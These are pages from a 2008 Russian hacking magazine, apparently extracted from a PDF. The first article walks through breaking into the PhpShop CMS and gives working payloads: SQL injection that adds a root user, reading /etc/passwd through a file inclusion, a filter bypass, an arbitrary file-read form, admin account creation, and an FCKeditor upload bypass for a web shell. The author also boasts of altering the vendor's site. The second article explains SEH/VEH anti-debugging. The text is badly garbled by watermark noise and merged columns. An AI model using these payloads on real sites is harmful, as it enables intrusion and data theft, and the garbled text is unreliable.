Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
18.08 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Уязвимыйкод—Location—отсутствуетвызовdie()

движкомнесоставилотруда—наофициальномсайтегордо красовалсяраздел«Нашиклиенты».Позжевыяснилось

—околотретиадминистраторовнеудосужилисьизменить пароль.Ктомуже,криптостойкостьпаролейоставляетжелать лучшегоизавязаналишьнаалгоритмеbase64.Непросто небрежноеотношениекбезопасности,апрямо-такиплевокв сторонукриптографиииБрюсаШнаера,вчастности!

Сразупослеустановкидвижкаиисследованиядампаяпроверилоднуизсамыхраспространенныхошибокприсоздании инсталлятора—егосамоудаление.Конечноже,оноотсутс- твовало.Почемуэтоважно?Деловтом,чтоинсталляторесли

инеудаляется,тохотябыблокируется,заносяспециальную пометкувБД,вконфиг,какой-либофайлит.п.Новнекоторых случаяхможно,такилииначе,обманутьпроверку,переставив движокзановоивойдявсистемуподдефолтным/указанным приинсталляциипароле.Либо,используяуязвимостьзаписи данныхвконфиг,можновписатьвнегопроизвольныйphp-код

иполучитьвеб-шелл.Обычноэтоимеетсмысл,когдахакера неинтересуетсодержаниеБДсайта;онпреследуетиныецели

изаранеезнает,какзалитьшелл,укладываязаботыпореанимациисайтанаплечиадмина.

Внашемслучаеполучаетсяполныйсуповойнабор—пациента прощепристрелить,чемлечить.Во-первых,впапкеконфига лежитphpinfo(),доступныйлюбомужелающему:

/install/rewritemodtest/rewritemodtest.php

Во-вторых,скриптинсталляцииуязвимкSQL-инъекции.При register_globals=ON хакерможетопределитьнеопределеннуюпеременнуюCsvContentивыполнитьлюбую SQL-команду!

/install/install.php?install=2&CsvContent=I NSERT%20INTO%20phpshop_users%20VALUES%20(66 6,0,0x726f6f74,0x636d397664413d3d,0x726f6f7 4,1);%0A2

Такмыдобавляемновогопользователяrootcпаролемroot.

Код /install/install.php уязвимый к SQL-inj: if(@$install == 2){

........

$IdsArray2=split(";\n",$CsvContent); array_pop($IdsArray2);

while (list($key, $val) = each($IdsArray2)) $result=mysql_query($val);

В-третих,скриптапдейтаверсииуязвимклокальномуинклуду посредствомпереопределенияпеременныхчерезextract():

/install/update/install.php?SysValue[file][e rror]=../../../etc/passwd

Уязвимыйкод—eregi_replace—обходфильтрации

Код/install/update/install.phpуязвимыйк[LFI]

$SysValue=parse_ini_file("../../phpshop/inc/ config.ini",1);

….. @extract($_GET); @extract($_POST); @extract($_FORM); @extract($_FILES);

…... include("../../

".$SysValue['file']['error']);

Междуделомяпоинтересовалсяалгоритмомгенерации capcha-кода,призванногозащищатьновостныекомментыот флудерастов.Вреализацияхмногихпубличныхалгоритмов содержатсяошибки,позволяющиеботуприкинутьсяживым человеком.Атыдумаешь,откудаберутсявсякиескриптыдля посылкихалявныхSMS?

session_start(); $text=substr(md5(session_id()),0,5);

Быстро стало ясным, что такой тест Тьюринга обойти просто, как два байта. Значение session_id() поступает напря-

мую в COOKIE: PHPSESSID=session_id , откуда бот его без труда сграбит и, сгенерировав валидный ответ, превратит новостные комменты в настоящий модераторский ад.

Спустя некоторое время после просмотра исходников я наткнулся на «защиту» от возможных SQL-injection. Следующий кусок кода вызвал не просто улыбку, а приступ дикого смеха:

// Secure Fix 3.0

function RequestSearch($search){ $search=eregi_replace("union","",$search); $search=eregi_replace("select","",$search); $search=eregi_replace("insert","",$search); $search=eregi_replace("update","",$search); $search=eregi_replace("delete","",$search); return $search;

}

Деловтом,чтоиз-заотсутствиярекурсиитакойподходбеспо- лезен.«Вредные»операторывырезаютсяоднократно,азначит,мыможемвложитьодиноператорвдругойи,врезультате, получитьнавыходеизфильтравалидныйquery:

Antichat' uniunionon selselectect 1,2,3,4 from table_name/*

Насталовремядесерта,тоестьSQL!Всефайлыдвижка,кроме индексного,былинезазендены.

info

Как правило, при переустановке движка БД удаляется или повреждается, поскольку не все инсталляторы способны менять префикс таблиц или создавать новую БД. Обычно требуется заранее создать их через phpmyadmin (до нача-

ла установки). Также конфиг может иметь систему автобэкапа,

итогда при создании шелла через запись в конфигурационный файл удастся вернуть прежние настройки без потери данных. Если возможно, то

сразу после получения шелла на сервере, хакер, заметая следы, восстановит исходный конфиг, будто бы ничего и не случилось.

Посвоемуопыту могусказать,что зазенденныескрипты в90%случаевимеют уязвимости.Подвум причинам.Первая

скриптзендятнедля защитыилиоткражи, ажелаяскрытьнизкое качествокода.Вторая

зенденныйскрипт избегаетанализасорсовдругимилюдьми,а тот,ктоегораззендит, нераспространяет результатысвоихизысканий.Какследствие

наличиескрытых багов,которые,поверь мне,живуточень долго.

Непервыйраз замечаю,чтоесли движоккрасиво выполнен(верстка,

дизайн,flash,web2.0),

тоphp-код,наверняка, кривой.Инаоборот:).

xàêåð 06 /114/ 08

059

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Сайтконторыпоsecurity-тестированию

phpinfo()вдемонстрации

Пропустивindex.phpчерездезендер,яполучилдовольнокорявый,но удобочитаемыйлистинг.Впечатлениепортилобфусцированыйвиднекоторыхпеременных(видимо,программистыпрошлисьпонимдлястраховки). Нонесуть,главное,чтоизучениеисходникадаловозможностьотследить вызовипередачупараметровуязвимымфункцияминакопатьнехилую кучкуинъекций,работоспособныхприmagic_quotes=OFF:

/index.php?nav=1&name='[SQL]

/index.php?IDbaner='[SQL]

/index.php?page=meta&nav=page&name='[SQL]

/index.php?page=meta&nav=page&name=news&id='[SQL]

Небольшоеотступление:настоятельнорекомендуюпослеустановкималоизвестногодвижкаобязательнопроверятьутилиты,доступныетолькоадминистратору,напредметнеавторизованногодоступа,атакжевсеплагины,библиотеки,расширенияипр.Срединихмогутпопастьсясамописные илиустаревшиеверсии,уязвимыекразличныматакамлибопростокриво настроенные.Например,[adodb_lite]или [fckeditor].Вэтотраз мнепопалсябажныйскриптдампераБД /phpshop/admpanel/dumper/ backup/download.php,читающийлюбойфайлнасервере.Смотрисам:

<? if(isset($backup)){

require("../../connect.php");

@mysql_connect ("$host", "$user_db", "$pass_db")or @ die("Невозможно подсоединиться к базе"); mysql_select_db("$dbase")or @die("Невозможно подсоеди-

ниться к базе"); require("../../enter_to_admin.php"); header('Content-Type: application/force-download');

header('Content-Disposition: attachment; filename="'.$ backup.'"');

header('Content-Length: '.filesize($backup)); readfile($backup);

}

else header("Location ./"); ?>

Такойбагпрощевсегозаюзатьизбраузерачерезhtml-форму:

<form action="http://target.com/phpshop/admpanel/ dumper/backup/download.php" method=POST >

<input type="text" name="backup" value="../../../inc/ config.ini" size=50>

<input type="submit"> </form>

Погонявдвижоквбраузере,яобратилвниманиенадовольночастые редиректы.Значит,вскриптахиспользуетсялибомногоJavaScript,либо

header('Location: xxx').Еслитычиталмоюстатью«РоковыеошибкиPHPv2»,топомнишь,чтоеслипослелокэйшеннепоставитьexit()или die(),тоphp-кодпродолжитсвоевыполнение,абраузерпроигнорирует контентпослередиректа,ивнешневсебудетвыглядеть,какнадо.Но используячто-либопомимобраузера,безразличноекзначениямвхидере, можноувидетьостаточныйконтент.Недолгодумая,яполезсмотретьфункциюавторизации:

/phpshop/admpanel/enter_to_admin.php function BadUser(){

if($this->OkFlag == 0) header("Location: ./");

}

Налицототсамыйслучай.Фактически,придоступевадминкунаспускают, норедиректмешаетнамувидетьжеланное.ВоспользуемсяInetCrack’ом илиIntruder’ом,чтобыувидетьостаточныйконтентответа.Пошлемтакой пакет,гдеid—номерюзверя:

GET /phpshop/admpanel/users/adm_userID.php?id=1 HTTP/1.0

Host: localhost

Вответмыполучимстраничкуадминки,накоторойотображенпрофиль админасегологиномипаролемвbase64.Дляполнотыкартиныотснифаем пакетсозданияновогоадминистратора:

POST http://localhost/phpshop/admpanel/users/adm_ users_new.php HTTP/1.0

Host: localhost Content-Length: 605

Content-Type: multipart/form-data; boundary=----------mq4IEbqXXtE192f59zkoLw — mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="mail_new" admin@mail.ru

— mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="status_new" 0

— mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="enabled_new" 1

— mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="login_new" root

— mq4IEbqXXtE192f59zkoLw

Content-Disposition: form-data; name="password_new" toor

— mq4IEbqXXtE192f59zkoLw

060

xàêåð 06 /114/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Локальныйинклудвдемонстрации

ПросмотрпрофайлаадминачерезIntruder

Чтениепроизвольногофайла

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

links

Чтобы внести пропаганду реального аудита, привожу несколько ссылок на проверенные компании, которые

помогут тебе провести жесткий пентест твоих движков:

forum.antichat. ru/forum110.html

www.ptsecurity. ru/serv_pen.asp

itdefence.ru/content/ view/reverse/

www.solidsolutions. ru/consulting/

www.belsec.com/ services.html

www.tet-service. ru/audit/

Content-Disposition: form-data; name="editID" OK

— mq4IEbqXXtE192f59zkoLw--

Теперьосталосьнайтинадежныйспособвыполненияпро- извольногоPHP-кода(несчитаянайденноговышеинклуда) и—придолжномвезении—выгрузкувфайлчерезmysqlв

случаеfile_priv=1.

Подробноеизучениеадминкиговорилоотом,чтозагрузки файлов,кромедампови.csv, вродекакнет.Внимательно покопавшисьвплагинах,яобнаружилзатерянный[fckeditor], возможностикоторогоявноиспользовалисьнедоконца. Поможемраскрытьемусвойпотенциал!Способностьюк загрузкеобладаетфайлconnector.phpпоадресу:/phpshop/ admpanel/editor2/editor/filemanager/browser/ default/connectors/php/connector.php.

Изучивнастройкивконфиге,яосознал,чтополитикабезопасностинастроенапопринципу«чтонезапрещено,торазрешено».Этобылооченькстати.Единственнымпрепятствием оказалисьфильтрынарасширение:

1:$Config['DeniedExtensions']['File']=array ('php','asp','aspx','ascx','jsp','cfm','cfc' ,'pl','bat','exe','dll','reg') ;

2:$pos=stristr($sFileName, "php");

3:$pos=stristr($sOriginalFileName, "php");

Однакотакаяпроверкавесьмасыраяинеполная,поскольку естьещеубойныерасширения«.phtml»и«.cgi».Длязаюзыванияэтойбрешимнеосталосьнабросатьудобнуюформочку:

<form action="http://localhost/phpshop/

xàêåð 06 /114/ 08

admpanel/editor2/editor/filemanager/browser/

default/connectors/php/connector.php?Comma

nd=FileUpload&Type=File&CurrentFolder=./" method=POST enctype="multipart/form-data"> <input type="file" name='NewFile'>

<input type="submit"> </form>

Файлыгрузятсяв/UserFiles/File/.Скриптпроводит аутентификациюпользователя,потомунадопредварительно войтиподадмином.

И это все?

Наэтомаудитможнозакончить.Каквидишь,былинайдены самыеразнообразныебаги,комбинированиекоторыхпозво- ляетполучитьправаадминистратора+веб-шелл.Остается толькогадать,каквсеэтонебылообнаруженопринаправлен- нойsecurity-проверке,которуюпроходилдвиг.Шуткиради

янемногоподправилкопирайтнаофициальномсайте.Пару недельназапрос«йабажныйсайтенг:)»ондажевылазилв топГугла.

Метрыбажногокоданезнаютконцаиграниц,впрочем,как инекомпетентностьмногихпрограммистовввопросахбе- зопасностисвоихпродуктов.Ноеслиподумать—всевполне

логично.Программерспециализируетсянавопросахкомпактности,скоростиипрактическойработоспособностисвоего кода,аненапоискеуязвимыхмест,пограничныхсостояний, утечекпамятиит.п.Привлечениестороннихспециалистов

—правильныйиразумныйподход.Вконечномитогеэтодает высокуюкачественнуюсоставляющуювсехпоказателей продукта.Правда...невэтотраз.Вобщем,помни—тывсегда можешьзаказатьмнеанализдвижкалюбойсложности.z

dvd

Файлы и программы, упоминаемые в статье, ищи на нашем диске.

warning

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несет!

video

На диске, прилагаемом к журналу, ты найдешь видео-урок, демонстрирующий основные шаги взломщика.

061

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Крис Касперски

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Энциклопедия

антиотладочных

приемов

Трассировка — в погоне на TF или SEH на виражах

Охота на флаг трассировки подходит к концу, и дичь уже хрустит на зубах. Продолжив наши эксперименты с TF-битом, мы познакомимся со структурными и векторными исключениями, выводящими борьбу с отладчиками в

плоскость. Здесь не действуют привычные законы, и приходолго и нудно ковыряться в недрах системы, чтобы угадать, куда бу-

управление, и как усмирить разбушевавшуюся защиту.

О

— как ядерного, так и прикладного

 

SEH fundamentals

 

 

приспособлены для исследования про-

Архитектураструктурныхисключенийподробноописанавдесяткахкниг

 

использующих структурные исключения

исотняхстатей.Настолькоподробно,что,читаяих,можноуснуть.Поэтому

 

exceptions, более известные как

краткоеизложениеосновныхконцепций,выполненноевмоем«фирмен-

 

буква досталась в наследство от слова «handling»

ном»стиле,непомешает.

 

). И хотя OllyDbg делает некоторые шаги в этом направ-

Исключение,сгенерированноепроцессором,тутжеперехватывается

 

написания собственных скриптов/макросов не обойтись.

ядромоперационнойсистемы,котороедолгоинудноегомутузит,но,в

 

исключения «телепортирует» нас куда-то внутрь NTDLL.DLL,

концеконцов,возвращаетуправлениенаприкладнойуровень,вызывая

 

кода, выполняющего поиск и передачу управления

функциюNTDLL.DLL!KiUserCallbackDispatcher.Припошаговой

 

, который нас интересует больше всего. Как в него

трассировкеотладчикиприкладного/ядерногоуровняпропускаютядерный

 

тладчик не дает ответа, а тупая трассировка требует немало

код,сразужеоказываясьвNTDLL.DLL!KiUserCallbackDispatcher.

времени.

 

Тоесть,притрассировкекодаXOR EAX,EAX/MOV EAX,[EAX]следующей

Впрочем,SEH—этоерунда.НачинаясXP,появиласьподдержкаобра-

выполняемойкомандойоказываетсяперваяинструкцияфункцииNTDLL.

боткивекторныхисключений(VEH),усиленнаявServer2003и,соответст­

DLL!KiUserCallbackDispatcher.Сюрприз,да?

венно,вВисте/Server2008.Отладчикиобэтомвообщенезнают,открывая

ВходевыполненияKiUserCallbackDispatcherизвлекаетуказа-

разработчикамзащитогромныевозможностидляантиоладкииобламывая

тельнацепочкуобработчиковструктурныхисключений,хранящийсяпо

начинающиххакеровкосяками.Япокажу,какпоборотьSEH/VEH-штучки

адресуFS:[00000000h],ивызываетпервыйобработчикчерезфункцию

влюбомотладчикетипаSyser,SoftICEилиWinDbg.Ксожалению,OllyDbg

ExecuteHandler,передаваяемуспециальныепараметры.

содержитгрубуюошибкув«движке»идляотладкиSEH/VEH-программне

Взависимостиотзначения,возвращенногообработчиком,функция

подходит.Ну,нето,чтобысовсемнеподходит,ноповозитьсяпридется(секс

KiUserCallbackDispatcherлибопродолжает«раскручивать»список

будет—имного).

структурныхисключений,либоостанавливает«раскрутку»,возвращая

062

xàêåð 06 /114/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

управлениекоду,породившемуисключение.Ориентируясьнатиписключения(trapилиfault),управлениепередаетсялибомашиннойкоманде, сгенерировавшейисключение,либоследующейинструкции(подробнееоб этомможнопрочитатьвманулахотIntel).

Списокобработчиковструктурныхисключенийпредставляетсобойпростойодносвязанныйсписок:

Форматспискаобработчиковструктурныхисключений

_EXCEPTION_REGISTRATION struc

 

prev

dd

?

; // предыдущий

обработчик, — 1 — конец списка;

 

handler dd

?

; // указатель

на SEH-обработчик

 

 

_EXCEPTION_REGISTRATION ends

Процедураобработкиструктурныхисключенийимеетследующийпрототип ивозвращаетодноизтрехзначений:EXCEPTION_CONTINUE_SEARCH,

EXCEPTION_CONTINUE_EXECUTIONилиEXCEPTION_EXECUTE_ HANDLER,описанныевMSDN.

Прототиппроцедуры-обработчика структурныхисключений

handler(PEXCEPTION_RECORD pExcptRec, PEXCEPTION_ REGISTRATION pExcptReg,

CONTEXT * pContext,

PVOID

pDispatcherContext,

FARPROC handler);

Обработчикиструктурныхисключенийпрактическиполностьюреентера- бельны—обработчиктакжеможетгенерироватьисключения,корректно подхватываемыесистемойиначинающиераскруткуспискаобработчиковс нуля.«Практически»—потомучто,еслиисключениевозникаетприпопыт- кевызоваобработчика(например,из-заисчерпаниястека),ядропросто молчаливоприбиваетпроцесс.Ноэтоужедебритехническихдеталей,в которыемыпоканебудемуглубляться.

Послеустановкисвоегособственногообработчиканезабывайегоснимать, иначеестьшансполучитьвесьманеожиданныйрезультат.Причем,система игнорируетпопыткуснятьобработчиквнутрисамогообработчика,иэто нужноделатьтолькозапределамиеготела.

Вотабсолютныйминимумзнаний,которыйнампонадобитсядлябрачных игрсоструктурнымиисключениями.

VEH fundamentals

НачинаясXP,появиласьподдержкавекторныхисключений,являющаяся разновидностьюSEH,однакореализованнаянезависимоотнееиработающаяпараллельно.Другимисловами,добавлениеновоговекторногообра- ботчиканикакнезатрагиваетSEH-цепочкуи,соответственно,наоборот. Механизмобработкивекторныхисключенийработаетпотомужепринципу, чтоиSEH,вызываяужезнакомуюнамфункциюNTDLL.DLL!KiUserCal lbackDispatcher.ВсвоюочередьонавызываетNTDLL.DLL!RtlCal lVectoredExceptionHandlers,раскручивающуюсписоквекторных обработчиковспоследующейпередачейуправления.

SEHиVEHконцептуальнооченьсхожи.Онипредоставляютаналогич-

ныевозможностиивсяразницамеждунимивтом,чтовместоручного манипулированиясоспискамиобработчиковтеперьунасестьAPI-функ­ цииAddVectoredExceptionHandler/RemoveVectoredExcepti onHandler,устанавливающие/удаляющиевекторныеобработчикииз списка,указательнакоторыйхранитсявнеэкспортируемойпеременной

_RtlpCalloutEntryList внутриNTDLL.DLL(поодномуэкземпляруна каждыйпроцесс).Плюс,упростилосьнаписаниелокальных/глобальных обработчиковисключений,чтовслучаесSEH—большаяпроблема.Но,по- прежнему,векторнаяобработкапридерживаетсяпринципа«социального кодекса»:всеобработчикидолжныследоватьопределеннымправилами ничтонемешаетодномуизнихобъявитьсебясамымглавнымипослать другихнахрен.

Поскольку9x/W2Kсистемыещедостаточноширокораспространены,пользоватьсявекторнойобработкойбезособойнатонуждымогуттолькодураки.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Вовсякомслучае,необходимоиспользоватьдинамическуюзагрузкувекторныхфункций,экспортируемыхбиблиотекойKERNEL32.DLLи,еслиих тамнеокажется,либовыдатьсообщениеобошибке,либодезактивировать защитныймодуль,работающийнабазеVEH.

ТеперьпарусловоновыхAPI-функциях.AddVectoredExceptionHand lerимеетследующийпрототипипринимаетдвапараметра,первыйиз которыхобычноравеннулю,авторойпредставляетуказательнаобработчиквекторныхисключений:

ПрототипAPI-функцииAddVectoredExceptionHandler,

добавляющийновыйвекторныйобработчиквсписок

PVOID WINAPI AddVectoredExceptionHandler(

ULONG FirstHandler,

PVECTORED_EXCEPTION_HANDLER VectoredHandler);

ФункцияAddVectoredExceptionHandlerопределенавфайлеwinnt. h,поставляемомсновымиверсиямиSDK,даито,тольковтомслучае,если впрограммеопределенмакрос_WIN32_WINNTсозначением0x0500или большим.ЕслиунаснетсвежегоSDK,тоопределитьпрототипможнои самостоятельно,прямопоместуиспользованияфункции.

Прототиппроцедурыобработкивекторныхисключений

LONG CALLBACK VectoredHandler(

PEXCEPTION_POINTERS ExceptionInfo);

Дляудаленияранееустановленныхвекторныхобработчиковизсписка можновоспользоватьсяAPI-функциейRemoveVectoredExceptionHand ler,гдеHandler—указательнаобработчик:

ПрототипAPI-функцииRemoveVectoredExceptionHandler,удаляющей векторныйобработчикизсписка

ULONG WINAPI RemoveVectoredExceptionHandler(

PVOID Handler);

Эксперимент #4 — ловля TF-бита на SEH

Продемонстрируем технику отладки программ, использующих структурные исключения, на примере crackme (его сорцы ищи на DVD). Он генерирует общую ошибку доступа к памяти путем обращения по нулевому указателю и проверяет значение флага трассировки в заранее установленном SEH-обработчике. На самом деле, для запутывания хакера назначается сразу два обработчика — первый ничего не делает и тупо

ОшибкаOllyDbg

Привозникновенииисключения(неважнокакого)отладчикOllyDbg останавливаетвыполнениепрограммы,предлагаянамнажать <Shift-F7/F8/F9>дляпродолжения.Первыедвекомбинациипере-

брасываютнасвначалоNTDLL.DLL!KiUserExceptionDispatch er,предоставляявозможностьсамостоятельноотслеживатьмомент передачиуправлениянаSEH/VEH-обработчик.А<Shift-F9>выпол- няетобработчикна«автопилоте»иостанавливаетотладчиктолько навыходеизнего.Вслучаедвухнашихcrackmeэтобудеткоманда, расположеннаянепосредственноза mov eax,[eax].

Сказанноесправедливотолько,когдафлагтрассировкисброшен,и программавыполняласьпоRun(илиStepOverсгенерациейисклю- чениявнутриover-функции).Еслижефлагтрассировкибылвзведен (программаисполняласьвпошаговомрежиме),топривыходеиз обработчикаструктурного/векторногоисключения,OllyDbgиз-за ошибкив«движке»передаетпрограмметрассировочноеисключение INT 01h,вызываяобработчикповторно.ВнашемслучаеэтоприводиткувеличениюрегистраEIP ещенадвабайтаи,какследствие,к крахупрограммы.ВOllyDbg2.00cуказаннаяошибкадосихпорне исправлена,чтоужаснонапрягает.

xàêåð 06 /114/ 08

063

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ОписаниеновыхVEH-функцийнаMSDN

 

возвращает управление, а второй — считывает регистровый контекст, из-

 

влекает оттуда содержимое флага трассировки и увеличивает значение

 

EIP на два байта — длину инструкции mov eax, [eax], вызывавшей

 

исключение.

 

Для упрощения отладки из программы выкинули все лишнее (и старто-

 

вый код в том числе), поэтому для ее сборки применяется специальный

 

командный файл следующего содержания:

Отладчикуспешнообнаружен

TF-SEH.bat—сборкапрограммыбезстартовогокода

cl /Ox /c TF-SEH.c

link TF-SEH.obj /ALIGN:16 /DRIVER /FIXED /ENTRY:nezumi /SUBSYSTEM:CONSOLE KERNEL32.LIB USER32.lib

Компилируемпрограммуизагружаемеевлюбойподходящийотладчик (например,SoftICE).Еслизагрузкаобламывается(известныйглюкSoftICE), раскомментируемстрокускомандойint 03h,пересоберемпрограмму,

напишемвSoftICE:«i3here on»изапустимвсепоновой.SoftICEпослушновсплываетнастрокеmov ecx, fs:[0],имысоспокойнойсовестью начинаемтрассировку.Доходимдокомандыmov eax,[eax] ивследую- щиймоментпереносимсякуда-товнутрьсистемы,аконкретнее—вначало функцииNTDLL.DLL!KiUserCallbackDispatcher,адрескоторойв моемслучаеравен77F91BB8h.

Приехали!Дальшепродолжатьтрассировкунетсмысла,нуженспособбыст­ ронайтиадресструктурногообработчика.Например,можнопосмотреть, чтонаходитсявпамятипоуказателюFS:[00000000h]:

ОпределениеспискаадресовSEH-обработчиков путемпросмотраfs:0

:dd

; <- отображать двойные слова

 

:d fs:0

; <- смотрим что находится в fs:[00000000h]

0038:00000000 0012FFB4

00130000

